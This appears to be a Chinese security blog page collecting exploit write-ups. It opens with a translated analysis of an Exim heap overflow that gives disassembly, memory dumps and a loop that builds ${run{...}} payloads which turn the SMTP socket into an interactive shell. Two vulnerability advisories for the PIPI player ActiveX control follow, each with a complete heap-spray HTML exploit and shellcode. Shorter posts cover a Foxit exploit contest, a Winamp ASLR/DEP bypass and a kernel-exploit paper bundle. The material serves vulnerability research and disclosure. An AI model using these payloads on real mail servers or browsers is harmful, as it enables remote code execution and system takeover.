    .text:080A9DF5 js loc_80A9F30
    [?]
    .text:080A9F30 loc_80A9F30: 
    .text:080A9F30 mov edx, [ebp+precision]
    .text:080A9F33 test edx, edx
    .text:080A9F35 js loc_80AA044
    .text:080A9F3B mov ecx, [ebp+precision]
    .text:080A9F3E cmp ecx, eax
    .text:080A9F40 mov [ebp+width], ecx
    .text:080A9F43 jle loc_80A9E06
    .text:080A9F49 mov [ebp+width], eax
    .text:080A9F4C jmp loc_80A9E06

     

    接着比较last – widthp,并更改widthprecision两个变量值:

     

    .text:080A9E06 loc_80A9E06: 
    .text:080A9E06 mov eax, [ebp+last]
    .text:080A9E09 sub eax, [ebp+width]
    .text:080A9E0C cmp edi, eax
    .text:080A9E0E jb short loc_80A9E22
    .text:080A9E10 mov eax, [ebp+last_minus_one]
    .text:080A9E13 mov [ebp+yield], 0
    .text:080A9E1A sub eax, edi
    .text:080A9E1C mov [ebp+precision], eax
    .text:080A9E1F mov [ebp+width], eax

     

    函数”sprintf()”以新得的widthprecision值作为其参数来调用:

     

    .text:080A9E22 loc_80A9E22: 
    .text:080A9E1C mov [ebp+precision], eax
    .text:080A9E1F mov [ebp+width], eax
    .text:080A9E28 mov [esp+10h], ebx
    .text:080A9E2C mov dword ptr [esp+4], offset a_S_0     // "%*.*s"
    .text:080A9E34 mov [esp+0Ch], edx
    .text:080A9E38 mov [esp+8], ecx
    .text:080A9E3C mov [esp], edi 
    .text:080A9E3F call _sprintf
    .text:080A9E44 mov ebx, [ebp+var_24]
    .text:080A9E47 cmp byte ptr [ebx], 53h
    .text:080A9E4A jnz short loc_80A9E5B

    如上所示,函数”string_vformat()”以一个超长的字符串作为其参数,导致了可利用的堆溢出漏洞发生。为了远程利用此漏洞,攻击者可以发送一封经恶意构造的email消息,由于该邮件会被拒绝,因此接着Exim会调用”log_write()”  [exim-4.69/src/log.c] 函数进行日志记录,该函数最终会调用漏洞函数” string_vformat()”,进而引发溢出。

    2.       攻击方式和稳定执行恶意代码

    为了利用此漏洞,攻击者必须以一个可控制的buflen和输入字符串来调用”string_vformat()”函数。一种可靠方法就是发送超大数据的邮件,当受害者接收到邮件后,Exim就会记录相关的各类错误信息,其中就包括发送人和邮件头信息。”log_write()”函数是通过以下方式来记录日志的:

              - 首先分配 0x2000 字节大小的缓冲区,用于存储错误信息
              -
    再转储关于消息发送者的信息
              -
    最后调用”string_format()”函数来转储接收到的邮件头信息

    其中函数”string_format()”仅是对”string_vformat()”函数的封装。关于发送者信息是通过以下方式进行格式化的:

    - rejected from H=(localhost) [192.168.158.129]: message too big: read=64948256 max=52428800
    - Envelope-from:
    - Envelope-to: target@target.com
     

    转储的每个邮件头信息都是通过两个空格来做分隔的。下面是”log_write()”函数对应的反汇编代码:

    .text:0807CC50 log_write proc near 
    .text:0807CC50
    .text:0807CC50 var_9C = dword ptr -9Ch
    .text:0807CC50 src = dword ptr -98h
    .text:0807CC50 var_94 = dword ptr -94h
    .text:0807CC50 n = dword ptr -90h
    [?]
    .text:0807D6D8 loc_807D6D8:
    .text:0807D6D8 mov dword ptr [esp], 2000h 
    .text:0807D6DF call _malloc                                                  // Error message buffer is allocated
    .text:0807D6E4 test eax, eax
    .text:0807D6E6 mov ds:dword_80F37F0, eax
    .text:0807D6EB jnz loc_807CCFE
    .text:0807D6F1 mov eax, ds:stderr
    [?]
    .text:0807CEAA loc_807CEAA:
    .text:0807CEAA lea eax, [ebp+arg_C]
    .text:0807CEAD mov [esp+0Ch], eax 
    .text:0807CEB1 mov eax, ds:dword_80F37F0
    .text:0807CEB6 mov edi, [ebp+arg_8]
    .text:0807CEB9 mov [esp], esi 
    .text:0807CEBC add eax, 1FFFh
    .text:0807CEC1 sub eax, esi
    .text:0807CEC3 mov [esp+8], edi 
    .text:0807CEC7 mov [esp+4], eax 
    .text:0807CECB call string_vformat                                      // Dump "rejected from"
    .text:0807CED0 test eax, eax
    .text:0807CED2 jnz short loc_807CF2B
    .text:0807CED4 mov dword ptr [esi], 2A2A2A2Ah
    [?]
    .text:0807D74C test ecx, ecx
    .text:0807D74E jle loc_807DBF0
    .text:0807D754 mov eax, ds:sender_address
    .text:0807D759 mov dword ptr [esp+8], offset aEnvelopeFromS 
    // "Envelope-from: <%s>\n"
    .text:0807D761 mov [esp], esi 
    .text:0807D764 mov [esp+0Ch], eax 
    .text:0807D768 mov eax, ds:dword_80F37F0                            
    // Error msg buffer
    .text:0807D76D add eax, 2000h
    .text:0807D772 sub eax, esi
    .text:0807D774 mov [esp+4], eax ; int
    .text:0807D778 call string_format
    .text:0807D77D cmp byte ptr [esi], 0
    .text:0807D780 jz short loc_807D794
    .text:0807D782 lea esi, [esi+0]
    [?]
    .text:0807D799 mov ebx, [ebp+s]
    .text:0807D79C mov eax, [eax]
    .text:0807D79E mov dword ptr [esp+8], offset aEnvelopeToS   
    // "Envelope-to: <%s>\n"
    .text:0807D7A6 mov [esp], ebx 
    .text:0807D7A9 mov [esp+0Ch], eax 
    .text:0807D7AD mov eax, ds:dword_80F37F0                          
    // Error msg buffer
    .text:0807D7B2 add eax, 2000h
    .text:0807D7B7 sub eax, ebx
    .text:0807D7B9 mov [esp+4], eax 
    .text:0807D7BD call string_format
    .text:0807D7C2 cmp byte ptr [ebx], 0
    .text:0807D7C5 jz short loc_807D7D0
    [?]
    .text:0807D848 loc_807D848:
    .text:0807D848 mov eax, [edi+0Ch]
    .text:0807D84B test eax, eax
    .text:0807D84D jz short loc_807D896
    .text:0807D84F mov [esp+10h], eax
    .text:0807D853 mov eax, [edi+4]
    .text:0807D856 mov dword ptr [esp+8], aCS_1                  
    // "%c %s"
    .text:0807D85E mov [esp], ebx ; s
    .text:0807D861 mov [esp+0Ch], eax 
    .text:0807D865 mov eax, ds:dword_80F37F0                          
    // Error msg buffer
    .text:0807D86A add eax, 2000h
    .text:0807D86F sub eax, ebx
    .text:0807D871 mov [esp+4], eax ; int
    .text:0807D875 call string_format                                          
    // Dump a header
    .text:0807D87A cmp byte ptr [ebx], 0
    .text:0807D87D jz short loc_807D888
    .text:0807D87F nop
    [?]
    .text:0807D888 loc_807D888:
    .text:0807D888 test eax, eax
    .text:0807D88A lea esi, [esi+0]
    .text:0807D890 jz loc_807DC70
    .text:0807D896
    .text:0807D896 loc_807D896: 
    .text:0807D896 mov edi, [edi]                                              
    // Is it the last header?
    .text:0807D898 test edi, edi
    .text:0807D89A jnz short loc_807D848                                  
    // Proceed the next header

    为了稳定地利用此漏洞,攻击者必须向缓冲区中填充0x2000字节,直至最后的头信息复制进buffer后还剩余3字节。这一步很关键,可以确保”p”和”last”相等(即指向同一地址)。为获取程序的稳定性,同时还要准确计算出发送的头信息总大小,这些内容包括”MAIL FROM:”头信息,主机名以及服务端支持的最大字节数,以及相关的头信息和响应数据。当处理完最后一个头信息后,就可触发缓冲区溢出,在0x2000字节大小的buffer之后的内存空间都会被最后的头信息所覆盖。在缓冲区0x2000字节之后,我们可以看到一些访问控制列表(ACL):

              - 0x09C1C92E地址上存放着倒数第二个header信息

              - 0x09C1CA0E地址上存放着ACL

     

    09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000

    09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA

    09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

    09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

    09C1C95E 41 41 41 41 41 41 0A 00 00 00 00 00 00 00 09 40 AAAAAA.........@

    09C1C96E 00 00 61 40 61 2E 63 6F 6D 00 72 20 6D 65 73 73 ..a@a.com.r mess

    09C1C97E 61 67 65 2C 20 65 6E 64 69 6E 67 20 77 69 74 68 age, ending with

    09C1C98E 20 22 2E 22 20 6F 6E 20 61 20 6C 69 6E 65 20 62 "." on a line b

    09C1C99E 79 20 69 74 73 65 6C 66 0D 0A 00 39 3A 34 37 3A y itself...9:47:

    09C1C9AE 31 39 20 2D 30 35 30 30 0D 0A 00 75 65 7D 66 61 19 -0500...ue}fa

    09C1C9BE 69 6C 7D 7D 7B 5C 5C 4E 5B 5C 5C 5E 5D 5C 5C 4E il}}{\\N[\\^]\\N

    09C1C9CE 7D 7B 5E 5E 7D 7D 7D 7B 5C 5C 4E 28 5B 5E 3A 5D }{^^}}}{\\N([^:]

    09C1C9DE 2B 3A 29 28 2E 2A 29 5C 5C 4E 7D 7B 5C 5C 24 32 +:)(.*)\\N}{\\$2

    09C1C9EE 7D 7D 22 0A 00 5C 5C 5E 5D 5C 5C 4E 7D 7B 5E 5E }}"..\\^]\\N}{^^

    09C1C9FE 7D 7D 7D 7B 7D 7D 7D 7B 7D 66 61 69 6C 7D 3B 20 }}}{}}}{}fail};

    09C1CA0E 24 7B 65 78 74 72 61 63 74 7B 31 7D 7B 3A 3A 7D ${extract{1}{::}

    09C1CA1E 7B 24 7B 73 67 7B 24 7B 6C 6F 6F 6B 75 70 7B 24 {${sg{${lookup{$

    09C1CA2E 68 6F 73 74 7D 6E 77 69 6C 64 6C 73 65 61 72 63 host}nwildlsearc

    09C1CA3E 68 7B 2F 65 74 63 2F 65 78 69 6D 34 2F 70 61 73 h{/etc/exim4/pas

     

    例如当检测发送者地址时就会用到ACL,通过ACL可用来执行命令,比如:${run{command}}。在Linux中,当一个进程创建子进程时,打开的文件描述符会被复制给子进程。因此每当ACL命令被执行时,socket文件描述符会被子进程重新使用。因此这个很容易利用暴力方式来得到此描述符,并作为stdin来使用。

     

    for fd in range(3, 20):

                cmd += "${{run{{/bin/sh -c 'exec /bin/sh -i <&{0} >&0 2>&0'}}}} ".format(fd)

     

    溢出后,ACL被覆盖为:

             - 地址0x09C1C92E 存放着倒数第二个header信息

             - 地址0x09C1C95E 存放着最后一个header信息

             - 地址0x09C1CA0E 被ACL覆盖掉

     

    09C1C91E 41 41 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 AAAAAAAA. 00000

    09C1C92E 30 30 30 36 32 3A 20 41 41 41 41 41 41 41 41 41 00062: AAAAAAAAA

    09C1C93E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

    09C1C94E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

    09C1C95E 41 41 41 41 41 41 0A 20 20 30 30 30 30 30 30 30 AAAAAA. 0000000

    09C1C96E 30 36 33 3A 20 24 7B 72 75 6E 7B 2F 62 69 6E 2F 063: ${run{/bin/

    09C1C97E 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 69 6E sh -c 'exec /bin

    09C1C98E 2F 73 68 20 2D 69 20 3C 26 33 20 3E 26 30 20 32 /sh -i <&3 >&0 2

    09C1C99E 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 62 69 >&0'}} ${run{/bi

    09C1C9AE 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 2F 62 n/sh -c 'exec /b

    09C1C9BE 69 6E 2F 73 68 20 2D 69 20 3C 26 34 20 3E 26 30 in/sh -i <&4 >&0

    09C1C9CE 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E 7B 2F 2>&0'}} ${run{/

    09C1C9DE 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 63 20 bin/sh -c 'exec_

    09C1C9EE 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 35 20 3E /bin/sh -i <&5 >

    09C1C9FE 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 75 6E &0 2>&0'}} ${run

    09C1CA0E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 78 65 {/bin/sh -c 'exe

    09C1CA1E 63 20 2F 62 69 6E 2F 73 68 20 2D 69 20 3C 26 36 c /bin/sh -i <&6

    09C1CA2E 20 3E 26 30 20 32 3E 26 30 27 7D 7D 20 24 7B 72 >&0 2>&0'}} ${r

    09C1CA3E 75 6E 7B 2F 62 69 6E 2F 73 68 20 2D 63 20 27 65 un{/bin/sh -c 'e

     

    为了利用ACL实现攻击目的,我们需要再发送第二封邮件到服务器,并且使用之前已建立的同一连接,这样就可以Exim权限来执行任意代码了。如果再结合提权漏洞(例如 CVE-2010-4345),即可以root权限执行任意代码。我们的编写的利用代码已经发布在 VUPEN Binary Analysis & Exploits Service (译注:需注册,在exploit-db上面有利用代码:http://www.exploit-db.com/exploits/15725/,另外还有一份msf模板的利用代码:http://www.exploit-db.com/exploits/16925/ )上面了,并且在Debian和Ubuntu上测试通过。


  • 2010/10/26的时候在看雪上发过第一版,在3月份的时候又添加了一些方法上去,弄成了现在的第2版,放在手上也没啥好藏的,今天就把它发出来了!

    参见这里:http://filer.blogbus.com/4678754/resource_4678754_1304906740m.txt

  •  

    作者:Sud0
    译者:riusksk(泉哥:http://riusksk.blogbus.com)

    前言
    笔者Sud0是Corelan安全组织成员(http://www.corelan.be:8800/index.php/security /corelan-team-members/),刚赢得Offensive Security Exploit weekend(http: //www.offensive-security.com/offsec/exploit-weekend/)大赛冠军,这是一场由 Offensive Security举办的exploit编写大赛。这项挑战赛以存在漏洞的Foxit Reader软件为目标,每一参赛者都会先得到 一份Proof of Concept exploit(https://www.exploit-db.com/exploits/15514),并已 明确指出这是个溢出漏洞,可通过控制结构化异常处理记录(structured exception handling record)来获得权限。下面 是Offensive Security在其官方博客上公布的信息:
    Aloha Offsec students! You’ve been slapped around by Bob, abused by Nicky and crushed by NNM. Just as you thought it was over, Offensive Security now comes up with a brand new type of pain. This one is for all you hardcore exploit developers out there, who want a real challenge – an Offsec “Exploit Weekend”. 
    This is the deal: We provide you with a proof of concept, with EIP handed to you on a golden platter. All you need to do is get a shell….muhahaha. The event will take place next weekend, 13th-14th of November and is open to Offsec alumni only. The first person to send in a working POC with a bindshell payload on port 4444 wins a 32 GB WiFi Ipad!
    For more information, check out the Offsec Student forms. If you haven’t signed up for the 1day club forums, send in an email to our orders dept. with your OSID!

    具体内容参见附件……

     

     

  • 之前在exploit-db上看到关于winamp的溢出exploit:http://www.exploit-db.com/exploits /14068/,可绕过win7下的aslr和dep保护,不过其只能在64位win7上成功,而我的系统刚好是32位的,因此就自己动手写了一个。由于 win7上的ASLR的保护,VirtualProtect函数的地址是非固定,因此必须动态地定位VP函数地址,最初我是借助COMODO主动防御软件 上的guard32.dll中的指令来定位VP函数的,但在测试时必须关闭comodo,否则会报缓冲区溢出(comodo还是比较给力的!)。由于这种 方法需要安装comodo才会成功,因此后面我又使用原exploit中的方法,在栈中寻找到指向kernel32的指针,再偏移找到VP函数,相对前一 种会更稳定更通用些。不过,上面这两种方法在调试状态每次都可成功,而直接运行软件测试的时候,有时会不成功,此时你得多测试几次才行!下面将两份代码帖 上,供大家交流探讨。

    …………

    由于博客发贴字数限制,就不帖代码了,大家可以直接上看雪阅读原帖:

    http://bbs.pediy.com/showthread.php?p=940879#post940879

    测试结果,注意比较启动前后的时间:
    重启前:



    重启后:

     

  • 漏洞概要
    缺陷编号: WooYun-2011-01383
    漏洞标题: 皮皮播放器ActiveX控件PlayURLWithLocalPlayer()函数溢出漏洞
    相关厂商: 皮皮网
    漏洞作者: riusksk
    提交时间: 2011-02-21
    漏洞类型: 任意代码执行
    危害等级: 高
    漏洞状态: 等待厂商处理
    漏洞来源: http://www.wooyun.org
    分享漏洞: 腾讯微博 新浪微博 Twitter 网易微博 豆瓣
    漏洞详情
    简要描述:

    皮皮播放器是一款经典、易用、广受网友青睐的在线影视点播软件,其ActiveX控件(PIPIWebPlayer.ocx)中的PlayURLWithLocalPlayer()函数在处理URL地址时没有做有效的检测导致存在栈溢出漏洞。
    详细说明:

    代码:
    <html>

    <body>

    <object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id="target"></object> 

    <script>



    shellcode = unescape(

    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+

    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+

    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+

    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+

    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+

    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+

    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+

    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');



    nops=unescape('%u9090%u9090');

    headersize =20;

    slackspace= headersize + shellcode.length;

     

    while(nops.length < slackspace) nops+= nops;

    fillblock= nops.substring(0, slackspace);

    block= nops.substring(0, nops.length- slackspace);

     

    while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;

    memory=new Array();

     

    for( counter=0; counter<200; counter++) 

        memory[counter]= block + shellcode;

    url='';

    for( counter=0; counter<=5000; counter++) 

        url+=unescape("%0D%0D%0D%0D");


    target.PlayURLWithLocalPlayer (url);


    </script>

    </body>

    </html>

    漏洞证明:


    修复方案:

    对参数中的url地址进行有效的长度检测,这个你比我懂滴!!!
    漏洞回应
    厂商回应:

    暂无

  • 漏洞概要
    缺陷编号: WooYun-2011-01382
    漏洞标题: 皮皮播放器ActiveX控件 PlayURL()函数溢出漏洞
    相关厂商: 皮皮网
    漏洞作者: riusksk
    提交时间: 2011-02-21
    漏洞类型: 任意代码执行
    危害等级: 高
    漏洞状态: 等待厂商处理
    漏洞来源: http://www.wooyun.org
    分享漏洞: 腾讯微博 新浪微博 Twitter 网易微博 豆瓣
    漏洞详情
    简要描述:

    皮皮播放器是一款经典、易用、广受网友青睐的在线影视点播软件,其ActiveX控件(PIPIWebPlayer.ocx)中的PlayURL()函数在处理URL地址时没有做有效的检测导致存在栈溢出漏洞。
    详细说明:

    代码:
    <html>
    <body>
    <object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id="target"></object>
    <script>

    shellcode = unescape(
    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

    nops=unescape('%u9090%u9090');
    headersize =20;
    slackspace= headersize + shellcode.length;

    while(nops.length < slackspace) nops+= nops;
    fillblock= nops.substring(0, slackspace);
    block= nops.substring(0, nops.length- slackspace);

    while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
    memory=new Array();

    for( counter=0; counter<200; counter++)
    memory[counter]= block + shellcode;
    url='';
    for( counter=0; counter<=5000; counter++)
    url+=unescape("%0D%0D%0D%0D");

    target.PlayURL(url);

    </script>
    </body>
    </html>

    漏洞证明:


    修复方案:

    自行了断!!!
    漏洞回应
    厂商回应:

    暂无

  • 内核漏洞利用技术文章集合

    日期:2011-02-11 | 分类:软件漏洞

    将这段时间收集的一些关于内核漏洞利用技术的经典paper打包上传一份,包括了从02年开始的文章,到今年的 paper,基本代表了内核漏洞利用技术一个发展过程,有兴趣的可以下载看看,对于有中文版的也一块打包上传了,这里特别感谢ShadowHider兄弟 用相机照下黑防杂志上的<<远程利用windows内核漏洞--通向ring0之路〉〉,节省看英文的时间,也方便了广大群众!由于文件大小 限制,就直接上传到115优盘了。
    下载地址:
    http://u.115.com/file/f6fc3e81f5